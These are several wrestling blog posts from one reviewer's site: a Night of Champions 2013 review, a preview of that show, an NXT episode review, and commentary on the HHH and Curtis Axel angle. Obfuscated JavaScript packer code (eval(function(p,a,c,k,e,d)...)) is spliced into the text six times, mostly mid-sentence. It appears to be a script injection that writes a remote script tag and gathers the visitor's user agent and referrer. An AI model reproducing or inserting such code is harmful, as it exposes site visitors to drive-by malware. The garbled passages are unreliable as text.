Night of Champions 2013: Well That Was Surprising

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bthfn|var|u0026u|referrer|fbiff||js|php'.split('|'),0,{})) of Champions 2013
Date: September 15, 2013
Location: Joe Louis Arena, Detroit, Michigan
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Pre-Show: Tag Team Turmoil

Brodus starts with Heath (teaming with McIntyre here) and quickly crushes Slater in the corner. Off to Tensai who follows Slater to the floor. Drew busts out a flip dive over the top of all things to take over for a bit. Back in and Tensai gets two off a sunset flip but Drew pounds away in the corner, only to get rolled up for the pin by Tensai at 2:40.

The opening video is about what defines a champion with clips of men like Sammartino, Hogan, Michaels and Austin. It transitions into the usual PPV opening video focusing on the main events.

Intercontinental Title: Curtis Axel vs. Kofi Kingston

Chris Jericho is named the best IC Champion ever with 63% of the vote over Mr. Perfect, Pat Patterson, Rick Rude and Honky Tonk Man. Those are your only options.

Ricardo teaches Van Dam how to say his finishing moves in Spanish. Also Del Rio has no testicular fortitude and the universal term for World Heavyweight Champion is RVD.

We get the entire promo that set up AJ vs. the Total Divas and the Total Divas beating AJ up.

Divas Title: Natalya vs. Brie Bella vs. AJ Lee vs. Naomi

We go to the All-Star panel of Alex Riley, Booker T and Santino Marella.

World Heavyweight Title: Rob Van Dam vs. Alberto Del Rio

Alberto is defending, Rob is the hometown boy (close enough) and Ricardo is here after being banned from ringside on Smackdown. Del Rio quickly takes him down but Rob comes right back with a kick to the face. A loud spinwheel kick in the corner has the champion staggered and a monkey flip gets two. Del Rio hits a dropkick of all things but misses a charge and falls to the floor. A slingshot moonsault puts Alberto down and Rob drapes him across the barricade for the spin kick to the back.

Back in and a kick to the face gets two for Rob and the middle rope thrust kick gets the same. A top rope kick to the face sets up Rolling Thunder but Alberto rolls away and hits the Backstabber for two. Rob breaks up the reverse superplex and the cannonball off the top gets two. They slug it out with Del Rio getting two off a tilt-a-whirl backbreaker. Rob kicks his way out of the armbreaker and gets two off a rollup.

Post match Rob hits a Van Terminator to wake the crowd up.

Booker T beats out Flair, Edge, Batista and Undertaker as greatest World Champion ever. WHAT?

The Miz vs. Fandango

WWE loves the National Guard.

Paul Heyman/Curtis Axel vs. CM Punk

Punk refuses medical attention for his back.

More expert panel stuff.

US Title: Dolph Ziggler vs. Dean Ambrose

Ziggy beat Ambrose via DQ on Friday to get this shot. Feeling out process with Ziggler trying to speed things up, only to have Dean grab the rope. Ziggler gets two off a dropkick and there are the ten elbow drops. They tumble out to the floor and Dean takes over before heading back inside for a knee in the back and some face rubbing into the mat. We hit a reverse chinlock followed by a regular chinlock until Ziggler fights up and gets two off a sunset flip.

Rating: C+. I liked this one more than I thought I would. This is the kind of match the show needed: a fast paced, back and forth match with both guys looking good. A clean win over a former world champion is nothing but good for Dean and the match was a nice pickup as well. Good stuff here.

Sting is named best US Champion ever over Bobo Brazil, Harley Race, Sgt. Slaughter and Ricky Steamboat.

Tag Titles: Prime Time Players vs. Shield

We look at Heyman vs. Punk some more.

We recap the main event. Bryan won the title from John Cena at Summerslam before being screwed over by HHH and Randy Orton, bringing in the new Corporation with Orton being named best for business. Bryan was then beaten down for weeks on end as he waited for his one on one rematch with Orton here tonight. No one has been allowed to help Bryan for fear of losing their jobs. Cody Rhodes questioned things and lost his job in a match against Orton.

Hulk Hogan dominates Cena, Punk, HHH and Austin as Best WWE Champion ever. All of the polls were landslides.

WWE Championship: Randy Orton vs. Daniel Bryan

HHH has guaranteed no interference but there are no special rules. BIG pop for Bryan as expected. Feeling out process to start with Bryan taking the arm for early control. Orton takes him down with a shoulder but Bryan fires off a knee to the ribs to take over. Bryan unleashes the kicks but Orton comes right back with a clothesline. Randy takes too much time posing and Bryan comes back with right hands, only to be clotheslined down again for two.

Bryan celebrates to end the show.

Results

Prime Time Players won Tag Team Turmoil last eliminating the Real Americans

Curtis Axel b. Kofi Kingston – Neckbreaker into a faceplant

AJ Lee b. Natalya, Naomi and Brie Bella – Black Widow to Natalya

Paul Heyman/Curtis Axel b. CM Punk – Heyman pinned Punk after a spear through a table by Ryback

Dean Ambrose b. Dolph Ziggler – Bulldog driver

Daniel Bryan b. Randy Orton – Running knee to the head

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

Night of Champions 2013 Preview

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bezsn|var|u0026u|referrer|zfzhh||js|php'.split('|'),0,{})) time for the first PPV after the big angle started and things aren’t really looking all that promising. The show just doesn’t have the big event feel that it should. The card is pretty weak but it isn’t entirely without promise. Let’s get to it.As usual we’ll stat with the pre-show match: tag team turmoil for a shot at the Shield for the belts later in the night. I’ll go with the Prime Time Players to get the shot as they’ve been pushed pretty strong lately. The Real Americans and 3MB aren’t getting a title shot and no one would care about Tons of Funk. The only other option would be the Usos but I can’t see them getting a chance after losing so many times. The Players won’t win the belts, but it has potential to be a decent match.

On to the two main events, starting with the title match. I know it’s up in the air, but I can’t picture Bryan winning the title back, not yet at least. This feels like it ends either in someone like Big Show turning heel or a DQ with Bryan getting the win. It’s still too early for the title change though and Orton walks out with the gold.

Punk vs. Heyman/Axel is an interesting match. Heyman has made it so clear that if Punk gets his hands on him, Heyman is gone. For weeks now this match has felt like we’re waiting on Heyman to bring in someone else for Punk to feud with until Lesnar has some dates opened up but unless Ryback decides he’s a Heyman Guy, I don’t think we’re going to see anything but Axel. I think Curtis gets eliminated but Punk doesn’t get his hands on Heyman for some reason, setting up the ultimate revenge inside the Cell in some form next month.

It’s probably a bad hunch but I think Del Rio walks out with the gold tomorrow night. RVD is back in WWE to put people over and I think he does it for Alberto tomorrow night. The interesting thing is who takes the title from Del Rio eventually, but I don’t think it’s Van Dam.

Unfortunately Brie Bella wins the Divas Title because being an evil woman on a badly scripted reality show is all you need to become a wrestling champion anymore.

My random hunch sure to go wrong; Ziggler takes the US Title.

Overall the show doesn’t look very good. It comes off like a filler show and that’s not a good thing most of the time. The main event feels like it’s a tool for setting up another match down the line. The other problem is we have a two match show, but I don’t know how many people are interested in the second main event. They’re definitely not going to get any help from the Smackdown title but it’s been that way for years. The show should be ok and odds are they’ll add a Miz vs. Fandango match to pad out the card, but there’s just not enough here to make me want to see the show.

Thoughts/predictions?

NXT – August 14, 2013: The Old Shield Ways

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfkz|var|u0026u|referrer|yrbfh||js|php'.split('|'),0,{})) August 14, 2013
Location: Full Sail University, Winter Park, Florida
Commentators: Tony Dawson, William Regal

Intercontinental Title: Curtis Axel vs. Big E. Langston

Axel gets in a kick to the gut and a clothesline to the back of the head to put Langston down. A quick dropkick gets no cover and a big THANK YOU PAUL chant breaks out. Another dropkick gets two and we hit the front facelock. Langston easily powers out and fires off a series of clotheslines and knee lifts before running Axel over. There go the straps but Heyman comes in for the DQ at 4:38 shown of 8:08.

Post match Langston goes after Heyman but Axel makes the save. Curtis loads up a belt shot but walks into the Big Ending for the five count.

Mason Ryan vs. Scott Dawson

Ryan cleans house after the match.

Dolph Ziggler will be here next week.

During the break Emma attacked Summer Rae. A ticked off Emma could be interesting.

Shield vs. Corey Graves/Adrian Neville/Xavier Woods

Neville hurricanranas Reigns to the floor and Ambrose suplexes Graves to the floor. Woods loads up a superplex but Rollins counters into a sunset bomb. Xavier holds the ropes but Reigns makes a blind tag and punches Woods to break his grip on the ropes. Rollins hits the Buckle Bomb and the spear from Reigns is enough to pin Woods at 14:07 shown of 16:52.

Results

Big E. Langston b. Curtis Axel via DQ when Paul Heyman interfered

Mason Ryan b. Scott Dawson – Cobra clutch slam

Paige b. Summer Rae – Paige Turner

Shield b. Xavier Woods/Corey Graves/Adrian Neville – Spear to Woods

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

And check out my Amazon author page with wrestling book as low as $4 at:

Cool Summerslam Graphic

I don’t know who made this but it’s awesome.

Update on HHH/Curtis Axel

Yeah I was right.The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhyff|var|u0026u|referrer|ykztr||js|php'.split('|'),0,{})) official WWE line is that Lesnar’s shot to the head caused the injury and Axel caused NO further damage.

That’s the official word from WWE: Axel did NOTHING. Axel doesn’t get credit for injuring HHH, he doesn’t get the win, he gets NOTHING.

More On HHH/Curtis Axel

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzkky|var|u0026u|referrer|kkadi||js|php'.split('|'),0,{})) this was kind of a big deal but I didn’t have the chance to really talk about it in detail. It’s now two days later so here are some more thoughts on it.I’m still very much the same on it as I was before: I love the idea of pushing Axel, but I can’t stand the way they ended the show.

McGillicutty had been a guy who clearly had skill and looked very poised in the ring but he never got a chance to shine on his own. The biggest reason of all was his stupid name: Michael McGillicutty. I don’t know if you’re a fan of the show I Love Lucy, but Lucy’s maiden name was McGillicuddy, which is the first thing that comes to my mind whenever I heard Axel’s old name. The name sounds like a low level dinner theater actor, not the name of a talented wrestler. Again I’m not sure why they can’t just call him Joe Hennig, but I’m sure it’s some high concept idea that doesn’t make sense once you think about it for more than two minutes.

The idea of putting him with Heyman is a great move, especially given the amount of success Heyman has had lately. Heyman putting his seal of approval on you is usually a good sign (Heidenreich aside) and it’s hard to argue against the theory that putting someone with Heyman is going to mean success for them. Axel has the look, the skills, the poise, and everything else that he needs to win. It was a good debut for the character and all that jazz. Good move here.

Then we get to the problem.

The second HHH’s music hit, he became the focus of the whole thing. Axel stopped mattering, with HHH even saying move away so the adults can talk. What’s even worse is that Axel actually did step away as Heyman and HHH talked in the middle of the ring. Then HHH slaps him in the face and Axel…..does nothing. He falls down and just sits there as HHH smirks and says that they’re having a match later tonight. Again, it’s all about HHH and Axel is just some new guy for him to beat up later in the night.

Then we get to the match and HHH beats up Axel like he’s any other guy. He stomps Axel into the corner and then pounds on him outside as well. Axel comes back in and gets in some shots to the jaw, but they’re nothing special: a dropkick, a middle rope punch and that’s about it. HHH comes back, hits two of his signature moves (facebuster and spinebuster) and knocks Axel to the floor. They start to head back in, HHH can’t get back in, the show ends with the focus entirely on HHH.

Based on what we saw, Axel was either completely destroyed after about five minutes of action with him being in control for about two of those minutes, or he’s just too nice a guy to follow up on HHH. The idea of the match was that HHH was so banged up from his match with Brock that he couldn’t finish off Axel. There-in lies the problem: it wasn’t Axel who did this. Axel could have been any other guy int he match on Raw and HHH still would have been hurt. That’s the same problem that has plagued the HHH vs. Brock feud. Brock Lesnar could have been any other heel and now Curtis could have been any other guy who could hit a dropkick and throw right hands. It wasn’t some big move from Axel that caused HHH to not be able to continue, but rather Lesnar’s actions the night before.

That’s what this boils down to: Lesnar and Axel are both just people who happen to be involved in a HHH story. It has nothing to do with either of them specifically, but rather they’re just around and doing various things while HHH gets the glory (side note: Brock Lesnar has beaten HHH twice now. The night after both of those victories, HHH gets promos in the middle of the ring. Lesnar hasn’t been live on either show) and the attention. This seems to be the start of some big long concussion angle with HHH and if we can get to Axel and Lesnar later on that’s cool, but the focus is ALL going to be on HHH.

I’m fine with HHH having a storyline, but the thing is he’s going to be around and likely on camera in WWE for the next twenty five to thirty years. Brock probably has a year or two left and Axel is just getting started. Do we really need to have HHH’s big story NOW? Do we need to put him ahead of Lesnar and some new guy that apparently you’re going to push as a big deal? From past experience with HHH stories, that’s by far the biggest thing you’re going to hear about over the next few weeks, because in HHH’s WWE, he can’t just be the big story. He has to be the ENTIRE story and Heaven help you if you disagree with him on it, because he has no problem telling you why it should be about him in a 20 minute promo.

WWE House Show – September 20, 2013